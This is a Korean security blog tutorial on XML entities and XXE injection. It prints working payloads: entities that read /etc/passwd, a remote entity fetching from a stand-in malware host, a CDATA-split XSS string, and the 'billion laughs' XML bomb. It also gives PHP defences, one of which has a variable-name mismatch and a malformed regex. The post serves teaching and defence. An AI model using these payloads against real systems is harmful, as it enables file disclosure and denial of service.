KOROMOON

착한 사마리아인이 되고 싶습니다.

2/27/2020

XXE Injection



※ 주의사항 : 
악용하지 마세요!!!
해당 글은 연구 목적으로 기재하였습니다.
악의적인 목적으로 이용할 시 발생할 수 있는 법적 책임은 자신에게 있습니다.




( 1 ) ENTITY

Entity 는 반복적으로 나오는 문장이나 문자열을 다른 곳에 저장해 놓고 참조하는 개체로 재사용이 가능한 XML 조각, DTD 조각, 긴 문자열, 상수, non-XML 데이터가 될 수가 있음.
ENTITY XML 문서 뿐만이 아니라 DTD 문서 안에서도 참조가 가능한데 참조하는 위치에 따라 여러 가지로 분류될 수 있음.



( 2 ) ENTITY 역할

ENTITY XML 문서를 물리적으로 구조화 하기 위해서 사용함.
반복하여 사용하는 긴 텍스를 ENTITY 를 정의하여 간편하게 사용할 수 있음.
ENTITY XML 문서 외에도 DTD 에서 사용할 수 있음.
ENTITY 는 상수와 같은 역할을 할 수 있음.



( 3 ) ENTITY의 종류

ENTITY 대상의 위치
따른 분류
Internal ENTITY
ENTITY 대상이 DTD 내부에 있을 경우 
External ENTITY 
ENTITY 대상이 DTD 외부에 있을 경우 
ENTITY 사용하는 곳
따른 분류
General ENTITY
XML에서 참조하는 ENTITY 
Parameter ENTITY 
DTD에서 참조하는 ENTITY 
ENTITY 대상의 Parsing 여부
따른 분류
Internal ENTITY 
XML Parser Parsing할 수 있는 ENTITY
External ENTITY 
XML Paser Parsing할 수 없는 ENTITY



( 4 ) ENTITY의 선언과 참조

DTD의 기본 예약어 ENTITY를 사용하여 선언함.
ENTITY는 개체의 유형과 참조에 따라서 다음과 같이 다섯 가지 선언 형태가 있음.

ENTITY 선언
ENTITY 유형
설명
선언 형태
Internal General Parsed ENTITY
DTD 내부에 단순문자열을 ENTITY 로 선언하고 XML 에서 참조변수로 사용함
<!ENTITY ENTITY이름 "단순문자열">
<!ENTITY copyright "하이언 블로그">
External General Parsed ENTITY
외부 XML 문서를 DTD ENTITY 로 선언하고 XML 에서 참조변수로 사용함
<!ENTITY ENTITY이름 SYSTEM "XML문서">
<!ENTITY intro SYSTEM "blog_intro.xml">
Internal Parameter Parsed ENTITY
DTD 에서 참조 변수를 선언하고 DTD 내부에서 참조하여 사용함
<!ENTITY % ENTITY이름 "단순문자열">
<!ENTITY % char-att "CDATA #REQUIRED">
External Parameter Parsed ENTITY
외부 DTD 파일을 DTD 에서 ENTITY 로 선언하고 DTD 에서 참조하여 사용함
<!ENTITY % ENTITY이름 SYSTEM "DTD문서">
<!ENTITY % char_ent SYSTEM "ent_set.dtd">
External General Unparsed ENTITY
XML 문서가 아닌 외부 파일을 ENTITY 로 선언하여 참조항여 사용함
<!NOTATION 노테이션이름 SYSTEM "Helper">
<!ENTITY ENTITY이름 SYSTEM "non-XML" NDATA 노테이션 이름>
<!ENTITY hyeon SYSTEM "logo.gif">

ENTITY 참조
ENTITY 가 선언되면 ENTITY 는 참조하여 사용할 수 있는데, 선언된 ENTITY 유형에 따라서 참조하는 방법도 달라짐.
ENTITY 유형
ENTITY 참조
설명
General ENTIT
&ENTITY;
XML 문서 내에서 선언된 ENTITY명 앞에 & 를 붙이고 뒤에 ; 를 붙여줌으로써 참조될 수 있음
Parameter ENTITY
%ENTITY;
DTD 문서 내에서 선언된 ENTITY명 앞에 % 를 붙이고 뒤에 ; 를 붙여줌으로써 참조될 수 있음



( 5 ) XXE Injection

일반적으로 잘못 구성된 XML Parser 를 사용하여 신뢰할 수 없는 XML 공격 코드을 주입시켜 실행시키는 응용 프로그램에 대한 공격을 말함. 해당 공격을 통해서 주요 시스템 파일 접근(LFI)이나 외부 악의적인 파일 참조(RFI)가 가능함. 보통 XML Parser 설정에서 External Entity 사용을 금지시키지 않아 발생함.
(여기서 XXE XML eXternal Entity 의 약자임)

아래 표는 XML 스키마를 중단하거나 XML Parser 가 오류 출력으로 XML 구조를 파악하는 데 공격에 활용되는 문자열임.
참고로 아래 CDATA 섹션은 문자나 기호는 태그 형식이나 코드로 인식하지 않고 그대로 문자 형식으로 취급하는 섹션으로 CDATA 섹션에 둘러싸인 문자는 XML Parser 가 구문으로 분석하지 않음.
번호
문자열
1
'
2
'' (싱글 쿼터 2개임)
3
4
“”
5
< 
6
> 
7
]]>
8
]]>>
9
<!--/-->
10
/-->
11
-->
12
<!--
13
<!
14
<![CDATA[ / ]>



( 6 ) XXE Injection 공격 예제

LFI Attack
상대경로(../)를 이용한 원하는 파일 액세스(ex. /etc/passwd, boot.ini)가 가능함.
<?xml version="1.0"?>
<!DOCTYPE change-log [
    <!ENTITY systemEntity SYSTEM "../../../../etc/passwd">
]>
<change-log>
    <text>&systemEntity;</text>;
</change-log>
<?xml version="1.0"?>
<!DOCTYPE change-log [
    <!ENTITY systemEntity SYSTEM "file:///etc/passwd">
]>
<change-log>
    <text>&systemEntity;</text>;
</change-log>

RFI Attack
외부 악의적인 코드를 실행시킴.
<?xml version="1.0"?>
<!DOCTYPE malware [
    <!ENTITY malwareLink SYSTEM "hxxp://www.malware.com/1.txt">
]>
<malware>
    <text>&malwareLink;</text>;
</malware>



( 7 ) XML 관련 공격 예제

XSS Attack
XML 문서를 파싱할 경우 CDATA 섹션에 둘러싸인 문자는 XML Parser 가 구문으로 분석하지 않으므로 XSS 공격 코드를 완성되어 실행됨. (<script>alert('xss')</script>)
<?xml version="1.0" encoding="ISO-8859-1"?>
<user>
<username>user1<![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]></username>
    <credentials>pass1</credentials>
</user>

DoS Attack
일종의 XML Bomb 공격으로 하나의 ENTITY 에 다른 ENTITY 를 계속적으로 참조하여 관련 응용 프로그램의 부하를 일으키는 공격임.
해당 코드는 1 KB 보다 작은 코드이지만 최종적으로 참조된 ENTITY XML Parser 가 처리하게 될 때는 10(2 ^ 9)개의 "lol" 문자열을 처리해야 하므로 메모리 상에서는 거의 3 GB 를 차지함.
(한 문자열 당 1 Byte 를 차지하며 계산해보면 약 3 GB 가 나옴)
코드 하나로 DoS 공격이 가능함.
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>



( 8 ) XXE Injection 방어법

XXE Injection DOCTYPE 태크를 사용하여 인젝션 공격을 수행함. XML Parser 에서 DOCTYPE 태그를 사용하지 않도록 설정하거나 코드 상 DOCTYPE 태그를 포함하는 입력을 차단하도록 입력 검증을 사용함.

PHP 코드 상에서는 libxml_disable_entity_loader 함수를 이용하여 외부 ENTITY 사용을 비활성화할 수 있음.
$oldValue = libxml_disable_entity_loader(true);
$dom = new DOMDocument();
$dom->loadXML($xml);
libxml_disable_entity_loader($oldValue);

아니면 코드 상 DOCTYPE 태그에 대해서 다른 문자열로 치환시키는 방법이 있음.
/**
 * Attempt a quickie detection
 */
$collapsedXML = preg_replace("/[:space:]/", '', $xml);
if(preg_match("/<!DOCTYPE/i", $collapsedXml)) {
    throw new \InvalidArgumentException(
        'Invalid XML: Detected use of illegal DOCTYPE'
    );
}



( 9 ) XXE Injection 실습

OWASP Broken Web Applications Project VMware Image 안에 Mutillidae 에서 XXE Injection 공격을 테스트하는 페이지가 있음.
(Others -> XML External Entity Injection -> XML Validator)


< Mutillidae - XXE Injection Test Page >


< XXE Injection 테스트 화면 >


< XXE Injection 결과 화면 >


< XXE Injection 패킷 덤프 >



참고 사이트 : 

http://www.acunetix.com/blog/web-security-zone/articles/xml-external-entity-xxe-vulnerabilities/
http://msdn.microsoft.com/en-us/magazine/ee335713.aspx
http://blog.didierstevens.com/2008/09/23/dismantling-an-xml-bomb/
http://phpsecurity.readthedocs.org/en/latest/Injection-Attacks.html



============================================================
본 게시물은 KOROMOON 님께서 작성하였으며 CCL (Creative Commons License) 에서 "저작자표시-비영리-동일조건변경허락" 이용조건으로 자료를 이용하셔야 합니다.

댓글 없음:

댓글 쓰기